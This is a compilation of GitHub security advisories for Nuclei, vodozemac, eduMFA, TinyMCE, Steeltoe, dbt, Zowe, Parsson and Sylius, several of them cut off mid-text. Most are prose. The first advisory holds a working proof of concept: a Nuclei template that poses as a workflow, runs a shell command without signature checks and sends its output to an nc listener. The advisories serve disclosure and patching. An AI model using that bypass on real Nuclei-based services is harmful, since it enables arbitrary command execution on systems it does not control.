ghsa

### Summary Find a way to execute code template without -code option and signature. ### Details write a `code.yaml`: ```yaml id: code info: name: example code template author: ovi3 code: - engine: - sh - bash source: | id http: - raw: - | POST /re HTTP/1.1 Host: {{Hostname}} {{code_response}} workflows: - matchers: - name: t ``` using nc to listen on 80: ```bash nc -lvvnp 80 ``` execute PoC template with nuclei: ```bash ./nuclei -disable-update-check -w code.yaml -u http://127.0.0.1 -vv -debug ``` and nc will get `id` command output. We use `-w` to specify a workflow file, not `-t` to template file. and notice there is a `workflows` field in code.yaml to pretend to be a workflow file. Test in Linux and Nuclei v3.2.9 ### Impact Some web applications inherit from Nuclei and allow users to edit and execute workflow files. In this case, users can execute arbitrary commands. (Although, as far as I know, most web ...

Versions before 0.7.0 of vodozemac use a non-constant time base64 implementation for importing key material for Megolm group sessions and `PkDecryption` Ed25519 secret keys. This flaw might allow an attacker to infer some information about the secret key material through a side-channel attack. ### Impact The use of a non-constant time base64 implementation might allow an attacker to observe timing variations in the encoding and decoding operations of the secret key material. This could potentially provide insights into the underlying secret key material. The impact of this vulnerability is considered low because exploiting the attacker is required to have access to high precision timing measurements, as well as repeated access to the base64 encoding or decoding processes. Additionally, the estimated leakage amount is bounded and low according to the referenced paper. ### Patches The patch is in commit 734b6c6948d4b2bdee3dd8b4efa591d93a61d272. ### Workarounds None. ### Reference...

### Summary BlastRADIUS (see blastradius.fail for details) also affects eduMFA prior version 2.2.0, because the Message-Authenticator attributes were not checked. ### Details Website with the vulnerability information blastradius.fail The original vulnerability has been assigned CVE-2024-3596 Case in vince: https://kb.cert.org/vuls/id/456537 ### PoC There is no known proof-of-concept except for the attack shown in the paper from the researchers ### Impact An attacker can trigger an authentication flow with a RADIUS-backed token, intercept the RADIUS packet sent by eduMFA and modify the RADIUS server's answer, which would lead eduMFA to believe that the token is valid, even though the RADIUS servers answer was a reject.

### Impact TinyMCE v6 has a configuration value `convert_unsafe_embeds` set to `false` which allows svg files containing javascript to be used in `<object>` or `<embed>` tags, which can be used as a vector for XSS attacks. Note that `<embed>` tags are not allowed by default. After patching the default value of `convert_unsafe_embeds` will be set to `true`. This means that `<object>` tags will be converted to iframes instead the next time the page is saved, which may break any pages that rely upon previously saved `<object>` tags. Developers can override this configuration if desired to revert to the original behaviour. We reviewed the potential impact of this vulnerability within the context of Silverstripe CMS. We concluded this is a medium impact vulnerability given how TinyMCE is used by Silverstripe CMS. ### References: - https://www.silverstripe.org/download/security-releases/ss-2024-001 - https://github.com/advisories/GHSA-5359-pvf2-pw78

### Summary When utilizing multiple Eureka server service URLs with basic auth and encountering an issue with fetching the service registry, an error is logged with the Eureka server service URLs but only the first URL is masked. ### Details Package: Steeltoe.Discovery.Eureka Package version: 3.2.1 Branch: "release/3.2" File name: `DiscoveryClient.cs` Line number: 325 Code in question: `_logger.LogError(e, "FetchRegistry Failed for Eureka service urls: {EurekaServerServiceUrls}", new Uri(ClientConfig.EurekaServerServiceUrls).ToMaskedString());` Error message in logs: `FetchRegistry Failed for Eureka service urls: https://****:****@eureka1.com:443/eureka,https://user:[email protected]:443/eureka` I thought `new Uri(clientOptions.EurekaServerServiceUrls)` would throw a `UriFormatException` since there are multiple URLs but my logs are showing two URLs regardless. ### PoC 1. Set Eureka config with multiple server URLs with basic auth 2. Apologies for not being more descriptive fo...

### Impact _What kind of vulnerability is it? Who is impacted?_ When a user installs a [package](https://docs.getdbt.com/docs/build/packages) in dbt, it has the ability to override macros, materializations, and other core components of dbt. This is by design, as it allows packages to extend and customize dbt's functionality. However, this also means that a malicious package could potentially override these components with harmful code. ### Patches _Has the problem been patched? What versions should users upgrade to?_ Fixed on 1.8.0, and patched for 1.6.14 and 1.7.14 releases. ### Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ Previously, a materialization defined in a package that shared a name with one of the built-in materializations would be preferred by default, without user action which is surprising and makes it more difficult to detect the insecure behaviour. We've changed the default behaviour to require explicit overrides b...

A vulnerability in Zowe CLI allows local, privileged actors to store previously entered secure credentials in a plaintext file as part of an auto-init operation.

In Eclipse Parsson before 1.0.4 and 1.1.3, a document with a large depth of nested objects can allow an attacker to cause a Java stack overflow exception and denial of service. Eclipse Parsson allows processing (e.g. parse, generate, transform and query) JSON documents.

### Impact A security vulnerability was discovered in the `/api/v2/shop/adjustments/{id}` endpoint, which retrieves order adjustments based on incremental integer IDs. The vulnerability allows an attacker to enumerate valid adjustment IDs and retrieve order tokens. Using these tokens, an attacker can access guest customer order details - sensitive guest customer information. ### Patches The issue is fixed in versions: 1.12.19, 1.13.4 and above. The `/api/v2/shop/adjustments/{id}` will always return `404` status. ### Workarounds Using YAML configuration: Create `config/api_platform/Adjustment.yaml` file: ```yaml # config/api_platform/Adjustment.yaml '%sylius.model.adjustment.class%': itemOperations: shop_get: controller: ApiPlatform\Core\Action\NotFoundAction read: false output: false ``` Or using XML configuration: Copy the original configuration from vendor: ```bash cp vendor/sylius/sylius/src/Sylius/Bundle/ApiBundle/Resources/...

### Impact A bad actor with access to edit content in the CMS could send a specifically crafted encoded payload to the server, which could be used to inject a JavaScript payload on the front end of the site. The payload would be sanitised on the client-side, but server-side sanitisation doesn't catch it. The server-side sanitisation logic has been updated to sanitise against this type of attack. ### References - https://www.silverstripe.org/download/security-releases/cve-2024-32981